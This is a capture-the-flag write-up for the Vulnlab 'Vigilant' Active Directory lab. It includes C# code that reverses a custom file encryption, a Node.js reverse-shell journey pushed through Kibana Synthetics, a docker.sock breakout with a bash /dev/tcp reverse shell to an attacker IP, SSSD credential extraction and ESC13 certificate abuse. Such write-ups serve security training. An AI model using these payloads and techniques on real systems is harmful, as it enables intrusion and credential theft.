15 KiB
Vulnlab - Vigilant
DC.vigilant.vl
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-04-21 16:06:06Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vigilant.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.vigilant.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldapssl?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.vigilant.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vigilant.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.vigilant.vl
3269/tcp open globalcatLDAPssl?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.vigilant.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.vigilant.vlc
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: VIGILANT
| NetBIOS_Domain_Name: VIGILANT
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: vigilant.vl
| DNS_Computer_Name: DC.vigilant.vl
| Product_Version: 10.0.20348
|_ System_Time: 2024-04-21T16:06:29+00:00
5601/tcp open esmagent
9200/tcp open wap-wsp?
| ssl-cert: Subject: commonName=instance
| Subject Alternative Name: IP Address:127.0.0.1, DNS:dc.vigilant.vl
SRV
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96c0d790bbcc7716c6e1a503f1ca5c25 (ECDSA)
|_ 256 1223dbbbd8563e14197104342c224965 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Vigilant Cybersecurity
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
PORT 80
Visiting the webserver, it shows us one pager site having nothing out of interest
![](https://i.imgur.com/nmOVSht.png)
Listing smb shares with anonymous user
![](https://i.imgur.com/OWdO7qs.png)
IT
can be be access anonymously having IT_Support
directory containg AD Audit report for password policy which seems to be encrypted judging from the file name
![](https://i.imgur.com/WAA4fx1.png)
![](https://i.imgur.com/KsOTrXM.png)
![](https://i.imgur.com/azbuQPf.png)
On opening this file, it won't be recognized by document reviewer as the contents of this file are encrypted
Decrypting the PDF File By Analyzing the Encrypt function
Since this report was generated by ADAudit tool, it's possible that there might be something we need to grab from there, grabbing ADAudit.dll file from share
![](https://i.imgur.com/B1IwUaH.png)
On analyzing the dll file with ILSpy
we'll get the password for svc_auditreporter
![](https://i.imgur.com/q2bpKpH.png)
Verifying these credentials through netexec to see if they are valid
![](https://i.imgur.com/ECREpdu.png)
We can also find the how the files are being encrypted from ADAuditLib.dll
![](https://i.imgur.com/nUE5ccx.png)
For encrypting the contents, it's using XORing with key and then performing bitwise operations, the key here is generated with the seed 12345
which will return the same value, afterwards it's shuffling the bytes with ShuffleBytes
function and then writing the output, for decrypting it we can reverse the shuffling of bytes
private static void UnshuffleBytes(ref byte[] data)
{
for (int i = data.Length - 2; i >= 0; i -= 2)
{
byte b = data[i];
data[i] = data[i - 1];
data[i - 1] = b;
}
}
And reverse the XORing and bitwise part
for (int i = 0; i < data.Length; i++)
{
data[i] = (byte)((data[i] >> 4) | (data[i] << 4));
data[i] ^= array[i % array.Length];
}
The resulting code will look like this for decryption
using System;
using System.IO;
public static class DecryptionUtility
{
public static void DecryptFile(string encryptedFilePath)
{
if (!File.Exists(encryptedFilePath))
{
throw new FileNotFoundException();
}
byte[] data = File.ReadAllBytes(encryptedFilePath);
UnshuffleBytes(ref data);
byte[] array = GenerateKey(data.Length);
for (int i = 0; i < data.Length; i++)
{
data[i] = (byte)((data[i] >> 4) | (data[i] << 4));
data[i] ^= array[i % array.Length];
}
string decryptedFilePath = encryptedFilePath.Replace("_encrypted", "_decrypted");
File.WriteAllBytes(decryptedFilePath, data);
}
private static void UnshuffleBytes(ref byte[] data)
{
for (int i = data.Length - 2; i >= 0; i -= 2)
{
byte b = data[i];
data[i] = data[i - 1];
data[i - 1] = b;
}
}
private static byte[] GenerateKey(int length)
{
byte[] array = new byte[length];
new Random(12345).NextBytes(array);
return array;
}
static public void Main(String[] args)
{
DecryptFile("E:\\Password_Strength_Report_encrypted.pdf");
}
}
Running this will decrypt the file for us and present us with 4 set of user creds
![](https://i.imgur.com/LT6dk2L.png)
Spraying these creds, we'll get 3 valid hits and one user having password expired
![](https://i.imgur.com/JUZljn2.png)
Enumerating the domain first to see if we can go anywhere from the users we have
python3 /opt/BloodHound.py/bloodhound.py -u 'svc_auditreporter' -p 'pass' -d vigilant.vl -dc DC.vigilant.vl -ns 10.10.224.85
![](https://i.imgur.com/DhsPV9c.png)
We have pamela.clark belonging to TECHSUPPORTERS
group
![](https://i.imgur.com/7XXarJK.png)
Alex.powell
belonging to ADTeams
![](https://i.imgur.com/GIF3fNV.png)
Edwin.Dixon in Accountants
group
![](https://i.imgur.com/5Uj1eEJ.png)
And Daniel.Washington
in MarketingStartegies
group
![](https://i.imgur.com/zTmxVEt.png)
Accessing Kibana With Pamela
But this doesn't further lead to anywhere on the domain, the domain controller has instance of Kibana running on port 5601, with Pamela's password we can login
![](https://i.imgur.com/388XiqG.png)
Kibana is used for data visualization to detect patterns, monitor the environment, look for abnormal behavior, representing it in the form of graph and charts, here we are a superuser so we pretty much control over this instance of kibana
![](https://i.imgur.com/riNOLBM.png)
But we need to figure out the agents using kibana and how to achieve access on those hosts, agents can be listed through Fleets
http://dc.vigilant.vl:5601/app/fleet
![](https://i.imgur.com/M1tq73n.png)
There are two agents one is the linux server and the other is domain controller, so most likely we'll be dealing with the linux machine as we have the integration for html page that we saw earlier
![](https://i.imgur.com/fQYxLRd.png)
Googling around a way to execute commands or get a shell from kibana lead us to nowhere until taking a hint from vulnlab's wiki, that we can achieve it from Synthetics
, which is used for monitoring and test if the web site is functioning correctly
![](https://i.imgur.com/B0MNdb1.png)
We already have the marketing page being monitored, we can test scripts on this page, to do that we need to create what is called a monitor
, there's already a monitor configured, which is using type script to visit the marketing page
![](https://i.imgur.com/oCK6ecB.png)
Using this script we can use file
protocol to read local files like /etc/passwd
![](https://i.imgur.com/FLStFDM.png)
As soon as this test will be completed it will take a screenshot, having the result
![](https://i.imgur.com/vdECHVp.png)
![](https://i.imgur.com/DikjxPr.png)
Getting a reverse shell through synthetic monitor
However having just the ability to read local files won't lead us anywhere, we need to get a shell , so looking at the script that we used, it's playwright
, an open source nodejs library for browser testing, when using child_process
to execute system command we'll get an error that only step definations are allowed with inline scripts
![](https://i.imgur.com/Tl0lUvv.png)
For using external packages like child_process, we need to create journey
which is a complete step of doing something rather than creating a monitor which just checks if the page is loading correctly. According to the documentation we first need to initialize the synthetic project
![](https://i.imgur.com/TDj8TSH.png)
npx @elastic/synthetics init test
At initializing the project, we'll be asked to provide the API key, generating the project API key from here
![](https://i.imgur.com/SZ4YPLn.png)
![](https://i.imgur.com/3eLzVbQ.png)
![](https://i.imgur.com/lf2GmjJ.png)
Modify the contents of example.journey.ts
from the journeys
directory
![](https://i.imgur.com/GoSDnSY.png)
import { journey, step, expect } from '@elastic/synthetics';
journey('Ensure placeholder is correct', ({ page }) => {
step('Load the demo page', async () => {
await page.goto('http://10.8.0.136');
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(2222, "10.8.0.136", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();
});
});
Using push
to create this project, it will create the monitor
![](https://i.imgur.com/ePkk4mS.png)
![](https://i.imgur.com/6HvIHkC.png)
Wait for few minutes for the monitor to be triggered having netcat listener and http server ready
![](https://i.imgur.com/uQGuylh.png)
From the filesystem, this seems like we are inside a docker container
![](https://i.imgur.com/I5f3hDz.png)
Breaking out of container via docker sock
By running capsh
we can list down the capabilities of the container but from the output it doesn't seem like it has a capability that we can abuse
![](https://i.imgur.com/ANBqw7F.png)
Since elastic-agent
is part of root group, docker.sock
can be mounted which can be used for communicating with docker daemon to mount the host file system
![](https://i.imgur.com/TOtc5KE.png)
Using deepce.sh
https://github.com/stealthcopter/deepce we can breakout of docker utilizing docker.sock, to test it we can try reading /etc/shadow
from the host by creating a container and mount the file system
![](https://i.imgur.com/J5w7RaJ.png)
![](https://i.imgur.com/MCSQFmX.png)
Running a bash reverse shell
deepce.sh --exploit SOCK --command "/bin/bash -c 'bash -i >& /dev/tcp/10.8.0.136/3333 0>&1'"
![](https://i.imgur.com/FBfjyNy.png)
![](https://i.imgur.com/BAQU6jt.png)
I placed my ssh public key to login as root, this wasn't really necessary but I just wanted a proper shell
![](https://i.imgur.com/eat7kq5.png)
![](https://i.imgur.com/BTVgM44.png)
Extracting cached credentials (SSSD creds)
From linpeas, we find that this machine is domain joined and cache credentials is enabled from /etc/sssd/sssd.conf
, sssd is responsible for enabling the system to access authentication services such as active directory
![](https://i.imgur.com/qyi78db.png)
Linux systems joined with AD store Kerberos credentials locally in the credential cache file referred to as the ccache
. By default sssd maintains a copy of cached credential in /var/lib/sss/db
.
![](https://i.imgur.com/oac6bCo.png)
![](https://i.imgur.com/wBRXCTD.png)
![](https://i.imgur.com/QcrcVb6.png)
Gabriel is a part of JUNIORADMINS
group which is further part of REMOTE MANAGEMENT USERS
![](https://i.imgur.com/wHEtOgL.png)
![](https://i.imgur.com/8K6eByj.png)
Again there's nothing that we could do from gabriel, no acls or any special privilege
![](https://i.imgur.com/xCSEWwr.png)
Running certutil
this machine has ADCS installed
![](https://i.imgur.com/Hj5IgQj.png)
Certificate templates can be enumerated with certify but I'll be using the python version certipy
as it had support for ESC13 added https://github.com/ly4k/Certipy/pull/196
Escalating privileges through ESC13
certipy find -u gabriel.stewart -vulnerable -target DC.vigilant.vl -dc-ip 10.10.182.37 -stdout
![](https://i.imgur.com/6G4zZpg.png)
certipy finds one template which gabriel can enroll, with a linked group Temporary Admins
having EKU
set to Client Authentication, the template can grant privileges of a linked group to the user who enrolls for it without being part of that group, this is known as ESC13
![](https://i.imgur.com/BLerxnM.png)
Having this certificate we can become a local admin to domain controller
![](https://i.imgur.com/NZ98OKB.png)
certipy req -u 'gabriel.stewart' -ca 'vigilant-CA' -dc-ip 10.10.182.37 -target DC.vigilant.vl -template 'VigilantAdmins' -key-size 4096
![](https://i.imgur.com/LimxYrg.png)
![](https://i.imgur.com/swofn45.png)
![](https://i.imgur.com/LvVXyF4.png)
![](https://i.imgur.com/IpLkuXI.png)
References
- https://www.elastic.co/guide/en/fleet/7.17/view-elastic-agent-status.html
- https://www.elastic.co/guide/en/observability/current/synthetics-get-started-ui.html
- https://www.elastic.co/guide/en/observability/current/synthetics-recorder.html
- https://gist.github.com/secoats/44b9b42920ac4a825e54e7310303cfdb
- https://download.docker.com/linux/static/stable/
- https://madhuakula.com/content/attacking-and-auditing-docker-containers-using-opensource/attacking-docker-containers/insecure-volume-mount.html
- https://github.com/stealthcopter/deepce
- https://github.com/ly4k/Certipy/pull/196